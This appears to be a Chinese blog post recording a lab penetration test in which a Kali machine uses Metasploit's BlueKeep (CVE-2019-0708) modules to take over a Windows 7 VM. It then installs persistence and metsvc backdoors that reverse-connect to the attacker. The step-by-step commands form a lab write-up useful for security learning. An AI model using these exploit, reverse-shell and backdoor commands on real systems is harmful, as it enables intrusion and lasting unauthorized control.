使用CVE-2019-0708進行的一次滲透測試實驗

目錄

簡介

測試環境

相關工具

persistence用法:

metsvc用法:

測試過程

遇到的問題

總結


簡介

本次滲透測試使用Kali Linux作爲攻擊機,使用Windows 7作爲目標機,通過使用近期爆出的Windows遠程桌面服務遠程代碼執行漏洞(CVE-2019-0708)攻陷目標主機。

測試環境

  • 攻擊機:Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
  • 攻擊機IP:192.168.204.157
  • 目標機:Windows 7 X64 旗艦版 (6.1 Build 7601, Service Pack 1) 基於VMware 14 的虛擬機
  • 目標機IP:192.168.204.133

相關工具

  • Nmap
  • Metasploit
  • persistence模塊
  • metsvc模塊

persistence用法:

        -U                通過添加註冊表設置開機啓動

        -i                  設置連接間隔時間

        -p                 設置攻擊機端口號

        -r                  設置攻擊機IP地址

metsvc用法:

        -A                 自動安裝後門服務

        -r                  卸載已經存在的meterpreter服務(必須手動刪除文件)

測試過程

首先,在目標機運行Win+R鍵,輸入winver查看操作系統版本信息,如圖:

這一步只是熟悉一下目標操作系統的版本信息,並不算在真正的滲透測試中,僅供對後邊的測試中發現的信息做對照。

現在纔是正式開始,假設我們只知道目標主機的IP地址,然後使用Nmap掃描目標主機開放的端口信息,如圖:

發現主機開放了3389端口,由於目標主機開啓了防火牆且禁止了Ping功能,因此nmap的操作系統指紋識別出現誤差,但是在關閉防火牆的情況下可以識別操作系統版本爲如下圖所示的幾種可能:

接着我們啓動Metasploit,在啓動之前我們需要使用apt update; apt install metasploit-framework命令更新Metasploit,更新完成之後啓動Metasploit,然後使用search cve-2019-0708查找相關腳本,如圖:

auxiliary/scanner/rdp/cve_2019_0708_bluekeep爲漏洞檢測模塊,我們也可以使用該腳本先進行檢測,使用use auxiliary/scanner/rdp/cve_2019_0708_bluekeep命令加載該模塊,然後查看需要設置的,如圖:

只需要設置目標主機就可以了,使用set rhosts 192.168.204.0/24命令設置目標主機爲該局域網的一個C段,然後使用exploit或者run開始檢測,如圖:

可以看到目標主機是存在該漏洞的,其實這一步也不是必要的,直接使用exploit/windows/rdp/cve_2019_0708_bluekeep_rce攻擊模塊也是可以的。使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce命令加載該模塊,然後查看需要設置的選項,如圖:

可以看到只需設置RHOSTS,這裏也可以設置爲一個IP地址段,直接對整個IP段進行攻擊,但是所花的時間是非常長的,因此只設置爲目標主機,使用set rhosts 192.168.204.133設置目標主機,需要注意的是我們需要自行設置Exploit target,使用默認的自動檢測攻擊目標是不能攻擊成功的,自動檢測是會出現誤差的。使用show targets查看支持的目標操作系統列表,如圖:

從前面Nmap的掃描結果可以看出目標主機是運行在VMWare上的虛擬機,因此可以從3-5依次嘗試,如果目標主機未開啓防火牆,就可以發現目標主機的操作系統最可能是target 3,使用set target 3命令設置目標系統,然後查看設置的選項如圖:

配置好攻擊模塊之後還需要設置反彈shell的payload,還是使用最常用的meterpreter吧,使用set payload windows/x64/meterpreter/reverse_tcp設置payload,然後使用show options查看配置的攻擊信息,如圖:

最後使用exploitrun開始攻擊,經過幾十次的失敗之後,偶然設置target爲4居然成功了,如圖:

 成功獲取系統權限後我們需要將權限維持下去,總不能每次都進行這麼一次攻擊吧,太累了,我們使用Metasploit的Persistence模塊創建一個meterpreter後門,使用命令run persistence -U -i 10 -p 4444 -r 192.168.204.157使目標開機自動反向連接到攻擊機,如圖:

 執行成功後會創建weGbRnVIEvR.vbs腳本並添加註冊表,可以在目標主機打開C:\Windows\TEMP\weGbRnVIEvR.vbs進行查看,然後可以退出會話,使用use exploit/multi/handler啓動監聽程序,使用windows/meterpreter/reverse_tcp命令設置payload爲meterpreter,然後使用set lhost 192.168.204.157設置攻擊機IP地址,如圖:

 運行之後等待一段時間目標主機就會連接到攻擊機,如圖:

也可以使用metsvc來創建一個後門服務,使用run metsvc -A命令創建一個後門,如圖:

 它將後門綁定在了31337端口,接着使用use exploit/multi/handler開啓監聽,使用set payload windows/metsvc_bind_tcp命令設置payload,然後使用set rhost 192.168.204.133命令設置目標IP地址,然後exploit就可以了,但是這個測試了幾十遍也沒成功。

遇到的問題

測試過程中總是遇到無法反彈情況,主要有兩種,一種是攻擊成功但是無法建立會話,如圖:

另一種是造成藍屏,如圖:

實際上造成藍屏也算是拒絕服務攻擊成功了,但是這並不是我們想要的結果,我們想要的是悄無聲息的遠程控制目標主機,但是對於緩衝區溢出攻擊來說,這兩種情況是經常會發生的。解決的辦法只有不斷的重複,設置較準確的target。

總結

本文描述了從使用Nmap對目標進行端口掃描,到使用Metasploit檢測CVE-2019-0708並利用該漏洞對目標主機進行滲透攻擊,成功獲取目標服務器的最高權限。從信息收集、漏洞發現、漏洞利用到權限維持,本文詳細記錄了各個過程的步驟。測試過程中也遇到兩個問題,雖然數量很少但很折磨人,索性世上無難事,只怕有心人。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章